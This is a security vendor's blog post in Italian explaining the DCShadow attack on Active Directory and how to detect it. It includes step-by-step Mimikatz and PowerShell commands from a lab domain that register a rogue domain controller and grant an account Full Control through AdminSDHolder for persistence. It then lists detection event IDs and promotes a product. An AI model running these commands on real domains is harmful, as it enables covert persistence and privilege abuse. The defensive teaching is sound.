Magic Quadrant™ per la gestione degli accessi privilegiati 2025: Netwrix riconosciuta per il quarto anno consecutivo. Scarica il report.

Piattaforma
Centro risorseBlog
Cos'è un attacco DCShadow e come difendersi

Cos'è un attacco DCShadow e come difendersi

Sep 28, 2022

DCShadow è un attacco avanzato nella catena di distruzione che permette a un avversario con credenziali privilegiate compromesse di registrare un controller di dominio (DC) canaglia di Active Directory e replicare modifiche dannose, come quelle che aiutano a stabilire persistenza. Più specificamente, DCShadow è un comando nel modulo lsadump dello strumento di hacking open-source Mimikatz. Introdotto all'inizio del 2018, utilizza istruzioni specifiche nel protocollo Microsoft Directory Replication Service Remote (MS-DRSR) protocollo.

Gli attacchi DCShadow sono difficili da prevenire. Come il DCSync, non abusano di una vulnerabilità che potrebbe essere corretta; sfruttano funzioni valide e necessarie del processo di replica, che non possono essere disattivate o disabilitate. Gli attacchi DCShadow sono anche difficili da rilevare, poiché le modifiche che l'avversario richiede vengono registrate, elaborate e commesse come legittima replicazione di dominio.

Panoramica di un attacco DCShadow

Ecco una panoramica dei passaggi in un attacco DCShadow:

  1. Un attaccante ottiene permessi di Domain Admin o Enterprise Admin, ad esempio, compromettendo un account di servizio gestito dal gruppo scarsamente protetto.
  2. The attacker uses DCShadow to register a computer object (such as a workstation) as a domain controller by making changes to the AD configuration schema and the workstation’s SPN. Now, AD thinks the workstation is a DC so it’s trusted to replicate changes.
  3. L'attaccante invia modifiche per la replica, come cambiamenti ai dati della password, dettagli dell'account o appartenenza a gruppi di sicurezza. Una volta che la replica è innescata, le modifiche vengono pubblicate e confermate dagli altri DC.
  4. L'attaccante utilizza DCShadow per rimuovere il controller di dominio canaglia dal AD database per nascondere la propria attività.

Un Esempio Semplice: Replicare una Piccola Modifica Utilizzando DCShadow

Supponiamo che tu sia un attaccante che ha registrato un DC canaglia utilizzando DCShadow. Ecco i passaggi che potresti seguire per replicare una semplice modifica su tutti i DC nel dominio.

Passaggio 1. Passare all'utilizzo dell'account SYSTEM.

Il processo che crea la modifica da replicare deve essere eseguito come account SYSTEM, piuttosto che come account utente di dominio, poiché verranno replicate solo le modifiche dai DC registrati. Se non si esegue questa operazione, si potrebbe visualizzare questo codice di errore:

      ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd DC=JEFFLAB,DC=local 0x80090322 (2148074274)
      

Un modo per eseguire un processo come SYSTEM in Mimikatz è utilizzare PSExec:

      PsExec.exe –i –s cmd.exe
      

Per confermare che ora stai eseguendo come SYSTEM, usa il comando whoami .

Image

Quindi usa token::elevate per assicurarti che tutti i thread verranno eseguiti come SYSTEM.

Image

Passaggio 2. Applica una modifica desiderata.

Ora potrai effettuare una modifica. Per questo semplice esempio, cambiamo la descrizione dell'account Amministratore:

      lsadump::dcshadow /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local /attribute:description /value:”DCShadow was here!”
      
Image

Passaggio 3. Attiva la replica.

Per attivare la replica, apri un'altra finestra ed esegui il seguente comando come account Domain Admin compromesso (non come SYSTEM):

      lsadump::dcshadow /push
      

La finestra originale mostrerà gli eventi risultanti:

Image

Passaggio 4. Conferma la modifica.

Vai al domain controller e controlla il campo descrizione:

Image

Un attacco nel mondo reale: Utilizzo di DCShadow per ottenere persistenza

Ora vediamo come un avversario potrebbe utilizzare DCShadow in un attacco reale. Per eseguire DCShadow, devono già possedere i diritti di Domain Admin o Enterprise Admin, quindi perché dovrebbero utilizzare DCShadow?

Un motivo è che potrebbero non voler utilizzare un account Domain Admin per l'esfiltrazione dei dati, poiché quegli account sono spesso attentamente monitorati e attivano allarmi più facilmente. Un altro motivo è per ottenere diritti amministrativi in altre foreste.

Ma uno dei motivi più comuni è quello di creare persistenza — in modo che anche se perdono l'accesso all'account amministratore compromesso, manterranno un punto d'appoggio nel dominio. Vediamo insieme un modo in cui potremmo utilizzare DCShadow per ottenere persistenza.

Il flusso di lavoro di base è il seguente:

  1. Rivedi l'oggetto AdminSDHolder, che fornisce i permessi modello per gli account e i gruppi protetti nel dominio.
  2. Aggiungi un nuovo account con permessi di Controllo completo a AdminSDHolder.
  3. Riproduci la modifica utilizzando DCShadow.

Passaggio 1. Esaminare l'oggetto AdminSDHolder.

Per esaminare l'oggetto AdminSDHolder, utilizzeremo alcuni comandi PowerShell di base:

      $AdminSDHolder = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=JEFFLAB,DC=local'

$SDDL = $AdminSDHolder.ObjectSecurity.Sddl
      
Image

Possiamo utilizzare il comando ConvertFrom-SDDLString per convertire il risultato in un formato più leggibile:

Image

Passaggio 2. Aggiungi un account al contenitore AdminSDHolder.

Per creare persistenza, dobbiamo aggiungere un account a AdminSDHolder utilizzando il suo SID. Tutto ciò che dobbiamo sapere è il nome distinto dell'oggetto, e il seguente comando memorizzerà il suo SID nella variabile $UserSid:

      $UserToAdd = [adsi]'LDAP://CN=Bob Loblaw,OU=Business,OU=Users,OU=JEFFLAB,DC=JEFFLAB,DC=local'

$UserSid  = New-Object System.Security.Principal.SecurityIdentifier($UserToAdd.objectSid[0], 0)
      
Image

Ora possiamo utilizzare quella variabile per aggiungere l'account a AdminSDHolder, dandogli i permessi di Controllo completo. Useremo il seguente comando PowerShell:

      $NewSDDL = $SDDL + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + $UserSid.Value + ")"
      

Se diamo un'altra occhiata a AdminSDHolder, ora vediamo l'utente come ultima voce:

Image

Passaggio 3. Replica la modifica utilizzando DCShadow.

Ora che abbiamo i nuovi permessi sotto forma di valore di attributo, è facile applicarli con DCShadow. Eseguendo come SYSTEM, possiamo usare il seguente comando per apportare la modifica desiderata:

      mimikatz.exe "lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=JEFFLAB,DC=local /attribute:ntsecuritydescriptor /value:[output from the previous command]”
      
Image

Qui, puoi vedere che la modifica è pronta per essere replicata:

Image

Quindi utilizziamo il comando lsadump::dcshadow/push per innescare la replica. Qui puoi vedere l'oggetto AdminSDHolder aggiornato con il nostro utente aggiunto; presto questo sarà su ogni gruppo protetto nel dominio.

Image

Prevenire gli attacchi DCShadow

Questo è solo uno dei modi in cui DCShadow può essere utilizzato per stabilire persistenza o comunque compromettere la sicurezza di Active Directory. È difficile prevenire questi attacchi perché sfruttano le funzionalità native di Active Directory, non difetti che possono essere corretti con delle patch.

La chiave principale per la difesa risiede nel fatto che un attaccante deve avere i diritti di Domain Admin o Enterprise Admin per eseguire l'attacco DCShadow. Di conseguenza, la strategia più efficace per bloccare questo attacco è impedire a chiunque di ottenere l'appartenenza non autorizzata a questi potenti gruppi di sicurezza.

Rilevamento degli attacchi DCShadow

Un vantaggio chiave dell'utilizzo di DCShadow è che un attaccante può apportare modifiche che non verranno registrate dai log degli eventi — poiché le modifiche vengono effettuate tramite replicazione, sono considerate legittime. Tuttavia, è possibile trovare segni che un attacco è in corso utilizzando i log degli eventi. Ecco gli eventi chiave da cercare.

Modifiche agli SPN dei computer

Perché DCShadow funzioni, devono essere aggiunti due specifici valori di nome del servizio principale (SPN) al computer che impersonerà il controller di dominio (il computer dal quale l'attaccante esegue DCShadow). Questo può essere qualsiasi computer unito al dominio.

Quei due SPNS sono:

  • Server del catalogo globale SPN — Questo ha il formato GC/<DNS hostname>/<DNS forest name>.
  • Directory Replication Service (DRS) SPN — Questo ha il formato <DRS interface GUID>/<DSA GUID>/<nome dominio DNS>, dove <DRS interface GUID> è sempre E3514235–4B06–11D1-AB04–00C04FC2DCD2.

Possiamo individuare i segni di attacchi DCShadow cercando l'aggiunta di questi SPN a un computer che non è un controller di dominio, seguita dalla rimozione di tali SPN. (Da notare che nel nostro laboratorio, DCShadow rimuove solo lo SPN del server Global Catalog; lascia lo SPN DRS.)

Possiamo utilizzare l'ID evento 4742 per monitorare questi cambiamenti. Questo evento mostra quale utente ha iniziato la modifica, così sai quale account di Domain Admin viene utilizzato per eseguire l'attacco.

Image

Creazione e cancellazione di un DC

Un altro passaggio nell'attacco DCShadow consiste nel creare un DC nel contenitore Siti dello Spazio dei Nomi di Configurazione. Questo viene fatto creando un server e le impostazioni NTDS per quel server. Puoi vedere questi oggetti per il nostro legittimo domain controller qui sotto:

Image

DCShadow creerà un DC e le sue impostazioni e poi, una volta replicata la modifica, eliminerà immediatamente le voci per coprire le sue tracce. Questo lascerà dietro di sé una strana sequenza di eventi di un nuovo DC che viene aggiunto e poi rimosso.

L'aggiunta può essere tracciata con l'ID evento 5137, che contiene il nome del DC non autorizzato, il suo GUID e la classe dell'oggetto, e l'account responsabile della sua creazione:

Image

L'ID evento 5141 mostrerà le stesse informazioni per l'eliminazione del DC:

Image

Evento di Replication Event

È anche possibile rilevare attacchi DCShadow monitorando la replicazione. Tuttavia, gli eventi di replicazione che vengono innescati possono essere difficili da differenziare dagli eventi di replicazione genuini.

Tuttavia, l'Event ID 4929 può essere un indizio utile, poiché indica che un contesto di denominazione sorgente è stato rimosso e punterà al DC canaglia come sorgente. Vedere questo evento per un computer che non è un domain controller riconosciuto dovrebbe sollevare un campanello d'allarme.

Image

Errore di replica

Inoltre, la coppia di eventi 4935 e 4936 indica un fallimento della replica che spesso si può collegare a DCShadow.

Come Netwrix può aiutare

Netwrix StealthDEFEND è una soluzione di prim'ordine per rilevare e rispondere agli attacchi DCShadow:

Rilevamento

Netwrix StealthDEFEND offre rilevamento delle minacce DCShadow integrato. Monitora tutti gli eventi di replica e modifica del dominio in tempo reale per comportamenti indicativi di attacchi DCShadow. In particolare, osserva l'aggiunta e l'eliminazione di DC e monitora il traffico di replica.

Di seguito è riportato un esempio in cui Netwrix StealthDEFEND ha rilevato l'aggiunta di un nuovo domain controller:

Image

L'aggiunta di un DC è già abbastanza sospetta, ma il rapporto evidenzia anche che la macchina esegue Windows 10, che non supporta il ruolo di controller di dominio. Espandendo i dettagli dell'evento, possiamo vedere le modifiche specifiche che sono state effettuate come parte dell'attacco DCShadow:

Image

Risposta

Sebbene la pronta rilevazione degli attacchi DCShadow sia critica, non è sufficiente, soprattutto perché significa che un avversario ha compromesso un account altamente privilegiato. Ma semplicemente disabilitare quell'account potrebbe essere insufficiente, perché nel momento in cui si individua un attacco DCShadow, è probabile che l'avversario abbia già a disposizione e stia utilizzando una serie di altre risorse e opzioni di rete.

Netwrix StealthDEFEND offre una vasta gamma di opzioni di risposta automatizzate che ti consentono di creare facilmente un playbook efficace per ogni minaccia o vulnerabilità prevista. Nel caso di un attacco DCShadow, il playbook dovrebbe includere i seguenti passaggi:

  • Notificare alle persone giuste nell'organizzazione che è avvenuto un attacco e fornire loro le informazioni necessarie per rispondere efficacemente. Netwrix StealthDEFEND fornisce tutti i dettagli critici dell'attacco, inclusi l'autore, la fonte e il bersaglio. Inoltre, facilita una comunicazione rapida attraverso una facile integrazione con Slack, Microsoft Teams, ServiceNow e altri sistemi utilizzando PowerShell o le funzionalità di webhook.
Image
  • Blocca l'account o la postazione perpetratrice dall'eseguire ulteriori azioni di replica, autenticazione o altre operazioni:
Image

FAQ

Cos'è DCShadow?

DCShadow è un comando nello strumento Mimikatz che consente a un avversario di registrare un controller di dominio canaglia e replicare modifiche dannose in tutto il dominio.

Come funziona un attacco DCShadow?

Un attaccante registra il proprio computer come controller di dominio apportando modifiche allo schema di configurazione di AD e al valore SPN della workstation. Quindi possono replicare le modifiche, inclusi i cambiamenti per garantire la loro persistenza nel dominio.

Come possono essere rilevati gli attacchi DCShadow?

Il modo migliore per rilevare gli attacchi DCShadow è utilizzare una soluzione automatizzata che monitora continuamente l'aggiunta sospetta di controller di dominio e controlla il traffico di replica per attività anomale.

Qual è il modo migliore per rispondere a un attacco DCShadow?

Quando viene rilevato un attacco DCShadow, il tempo è essenziale. Pertanto, è meglio avere un flusso di lavoro automatizzato che segnali immediatamente l'evento al team di sicurezza e blocchi l'account dall'apportare ulteriori modifiche nel dominio.

Condividi su

Scopri di più

Informazioni sull'autore

Un uomo con una giacca blu e una camicia a quadri sorride alla macchina fotografica

Jeff Warren

Chief Product Officer

Jeff Warren supervisiona il portfolio di prodotti Netwrix, portando oltre un decennio di esperienza nella gestione e sviluppo di prodotti focalizzati sulla sicurezza. Prima di entrare in Netwrix, Jeff ha guidato l'organizzazione dei prodotti presso Stealthbits Technologies, dove ha utilizzato la sua esperienza come ingegnere del software per sviluppare soluzioni di sicurezza innovative su scala aziendale. Con un approccio pratico e un talento nel risolvere sfide di sicurezza complesse, Jeff è concentrato sulla costruzione di soluzioni pratiche che funzionano. È laureato in Information Systems presso l'Università del Delaware.